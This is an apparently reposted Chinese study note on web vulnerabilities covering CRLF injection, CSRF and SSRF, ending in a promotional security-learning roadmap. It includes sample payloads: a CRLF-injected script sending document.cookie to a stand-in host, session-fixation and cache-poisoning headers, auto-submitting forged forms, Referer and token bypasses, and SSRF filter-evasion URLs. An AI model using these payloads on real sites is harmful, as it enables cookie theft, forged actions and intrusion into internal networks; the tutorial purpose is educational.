十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Web 漏洞学习笔记:CRLF、CSRF、SSRF 原理、利用与绕过总结

Web 漏洞学习笔记:CRLF、CSRF、SSRF 原理、利用与绕过总结 前言本文叙述了crlf、csrf和ssrf的原理、攻击利用和一些绕过方法作为个人笔记内容可能不全面日后有接触新的方法会更新。CRLF原理这个漏洞名词来源于打印机在计算机中表示一行的结束回车CR\r%0dAscii(13)Ascii_16(0D) 换行LF\n%0aAscii(10)Ascii_16(0A)在不同操作系统中表示行结束的方法也不相同WindowsCRLF Linux/UnixLF Mac老版本用CR新版用LF在http头的规范中是以CRLF表示一行的结束因此无论是请求头还是响应头每行的末尾都有一个\r\n。GET http://example.com/skipto?uhttp://other.com HTTP/1.1\r\n Host:example.com\r\n User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\r\n Accept:text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8\r\n Accept-Encoding:gzip, deflate, br\r\n Accept-Language:zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2\r\n Connection:keep-alive\r\n上面代码是一个普通的页面跳转请求头我们很容易发现u的值是用户可控的正常运行的话返回的会是第2页的内容那么现在重新发送请求将请求截下来把uhttp://other.com改成uhttp://other.com\r\nSetCookie:crlf再提交假如服务器没有对u参数进行检查并过滤在响应头中直接将用户输入拼接到Location的值里面响应头就会变成像下面那样的代码HTTP/1.1 302 Found\r\n Date: Sun, 08 Aug 2021 07:01:25 GMT\r\n Location:http://other.com\r\n SetCookie:crlf\r\n Content-Length:0\r\n Content-Type: text/html; charsetutf-8\r\n Connection: keep-alive\r\n在拼接http响应头的过程中服务器检测到\r\n的时候会按照http规范认为已经到达一行的末尾后面的数据输出到下一行。在对文件进行io读写的时候也经常会以\r\n或者\n作为判断行末尾的依据后面的数据换行后再输出这两个的原理是一样的。 CRLF这种攻击本质和sql注入、xss一样都是由于没有对用户输入进行完全检查与过滤导致的漏洞区别在于sql注入作用在数据库xss的效果体现在网页主体clrf则会将恶意代码输出在响应头中。攻击利用这种漏洞属于客户端漏洞经常会出现在有重定向或者页面跳转的地方。攻击的方法很简单观察输入是否在响应头中然后提交\r\n记得编码查看服务器是否响应最后一步根据需要将漏洞转换成会话固定、xss等。 至于利用的方式大致有以下几种会话固定上面的例子就是一个典型的会话固定通过插入请求头的方式实现给访问者设置一个session当然除了cookie也能插入其他请求头。#部分请求头 GET http://example.com/skipto?uhttp://other.com\r\nSet-Cookie:mycookie HTTP/1.1\r\n ... #对应的响应头 HTTP/1.1 302 Found\r\n Location:http://other.com\r\n SetCookie:mycookie\r\n ...xss在http规范中响应头和正文之间是用两个CRLF进行区分的也就是\r\n\r\n我们可以利用这个特性往正文里写入xss#部分请求头 GET http://example.com/skipto?u\r\nimg srcx onerrorhttp://myc2.com/getcookie?cencodeURI(document.cookie); HTTP/1.1\r\n ... #对应的响应头利用xss直接将cookie发送到攻击者的服务器 HTTP/1.1 302 Found\r\n Location:\r\n img srcx onerrorhttp://myc2.com/getcookie?cencodeURI(document.cookie);缓存中毒这种攻击方式需要服务端有CDN、负载均衡或者反向代理等缓存设备。利用方式如下#直接在请求头中插入X-Forwarded-Host观察响应包中是否有回显 GET http://example.com/skipto?u\r\nX-Forwarded-Host:http://fishing.com HTTP/1.1\r\n ...另一个名字相近但完全不同的攻击方式叫缓存欺骗利用前要满足下列条件Web缓存功能设置为通过URL的扩展名来判断是否进行缓存文件且忽略任何缓存头当访问一个不存在资源时返回一个页面而不是显示页面不存在诱使访问URL时受害者必须已经通过身份验证其攻击的过程如下通过钓鱼/xss等方法诱使已经登录的用户访问攻击者服务器上的一个资源(hack.com/attack/1.pn…%25EF%25BC%259B “http://hack.com/attack/1.png)%EF%BC%9B”) 请求到达代理/CDN代理不熟悉这个文件于是向web服务器发起请求 web服务器返回受害者的用户页面内容和200状态码这里对应了上面第二点和第三点条件没有返回页面不存在并且是用户已登录状态 缓存机制收到响应同时发现url以资源文件扩展名(.png)结尾并且由于缓存机制忽略响应头这个资源会被保存在新建的attack目录下被缓存的文件名为1.png这里对应了第一个条件 然后受害者接收到他的账户页面 攻击者访问hack.com/attack/1.pn…绕过对于CRLF来讲核心就是\r\n服务器防止CRLF大部分也是通过过滤器限制这两个字符绕过的方法大致有以下几种url单/双层编码 更改http版本到1.0不发送Host头并将请求分片构建特殊请求 将\r\n转换成ascii码另外在发送给客户端xss语句的时候可能会被浏览器过滤掉这个时候只需要在前面再插入一个请求头X-XSS-Protection:0即可绕过。CSRF原理CSRF的中文翻译叫跨站请求伪造和XSS利用方式有点像但是XSS利用的是站点内信任的用户而CSRF是通过伪装成被信任的用户请求受信任网站。攻击原理如图由此可以看出来要利用这个漏洞必须满足下面两个条件登录存在漏洞的网站并在本地生成cookie在不登出的情况下访问攻击者的服务器攻击利用这种漏洞会出现在用户操作中的增、删、改功能的位置比如用户修改密码的地方如果网站在上述三种功能中没有用到Referer/Token技术那么肯定存在csrf如果存在可以绕过那也一样有漏洞。类型分为GET、POST两种他们攻击方式的区别就是GET型只需要构造url然后诱导受害者访问即可POST型则要构造自动提交的表单再诱导受害者访问。 整个攻击流程如下制作伪装页面-诱导用户访问-触发非法操作不管是哪种类型漏洞利用的核心就是根据需要构造页面然后诱导受害者点击可以通过钓鱼也可以利用xss等。GEThtml head title404 not found/title /head body onload构造csrf请求 404 not found /body /htmlPOSTpost模式通常是构造一个自动提交的隐藏表单html head title404 not found/title /head body 404 not found form action methodPOST input typehidden namea value参数1 input typehidden nameb value参数2 /form /body script document.forms[0].submit(); /script /html绕过对于CSRF的保护通常是使用Referer和Token因此为了达到攻击的目的这两种防护措施就是需要绕过的对象。Referer1.利用伪协议http://、https://、ftp://、file://、data:、javascript:这时候referer置空就能绕过了。iframe srcdata:text/html;...2.在html页面中通过meta将Referer置空meta namereferer contentnever3.观察Referer验证的是哪个域名是否存在指定的域名关键词验证方式是不是只验证开头绕过方式分别如下验证格式为*.xxx.com在域名前面增加子域名绕过 验证包含关键词为xxx.com新建网站目录名字为xxx.com作为csrf文件的存放目录 验证开头格式xxx.com新建域名为xxx.com.hack.com的web服务器作为csrf载体Token1.完全删除token适用于账户删除功能因为很多删除用户的功能中几乎不认证token 2.token解码通过识别算法破解然后按规律改变值再进行加密编码这种适用于算法简单的token 3.一般token由静态、动态两部分组成有时候只用静态部分就可以通过检测。SSRF原理SSRF的意思是服务端请求伪造如字面意思就是攻击者构造的由服务器发起请求的一种漏洞。而服务端能够访问外界访问不到的内网因此可以利用这个特性来攻击部署在内网的脆弱中间件以及其他服务。其原理如下图攻击利用可能会出现SSRF的地方有分享功能 收藏功能 网站采集功能 其他一些要调用url的功能 页面优化转码 在线翻译 图片加载/下载 云服务厂商 内置数据库redis、mongodb 邮件系统 对数据进行在线处理的地方 从远程服务器获取资源 未公开的API可以通过下列url关键字查找share wap url link src source target u display sourceurl imageurl domain漏洞挖掘的时候通过排除法判断一种情况是直接回显另一种情况则是跟其他地方相比发生变化类似sql布尔盲注http://example.com/service?imagehttp://www.baidu.com/img/bd_logo.png #像这种的新窗口打开链接如果地址栏显示http://www.baidu.com/img/bd_logo.png则不存在漏洞 或者抓包分析请求是否由服务器发起ssrf是服务器发起的请求在测试接口的时候本地浏览器不应该发起请求这一点通过抓包可以体现出来。在漏洞利用方面对外可以通过SSRF访问其他网址对内可以扫描内网做信息收集用其他协议请求敏感文件能够通过请求攻击内网应用也可以进行DOS攻击具体做法是请求大文件并始终keep-alive。绕过一般在服务端会对请求地址做限制过滤ip的流程可能如下图因此就有了下面几种绕过方法攻击本地 http://127.0.0.1:80 http://localhost:80 http://0.0.0.0:80 http://[::]:80 利用 http://example.coom127.0.0.1 使用短网址 https://dwz.cn/ 利用DNS解析服务 http://127.0.0.1.xip.io #会重定向到127.0.0.1 利用DNS重绑攻击 前置条件需要一个域名并且将其解析指定到攻击者搭建的dns设置TTL0。 攻击过程 1.服务端获取到url进行第一次解析获取一个外网ip 2.对这个ip进行判断通过验证 3.服务端再次访问这个url由于TTL0需要再次进行dns解析这次解析返回内网地址 4.验证已经绕过服务端发送请求返回的是内网资源。 文件上传处 typefile - typeurl 比如在上传图片的地方将图片换成url就可能触发漏洞。 特殊标识符(Enclosed alphanumerics) http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ List ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ 句号替换点号 http://127.0.0.1 - http://127。0。0。1 进制转换(十六、十、八、二) http://127.0.0.1 - http://2130706433/ 利用特殊地址 http://0/ 更换协议 dict://127.0.0.1:22 sftp://example.com:21111 tftp://example.com:21111 ladp://0.0.0.0:11211/%0astats%0aquit gopher://... file://...最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表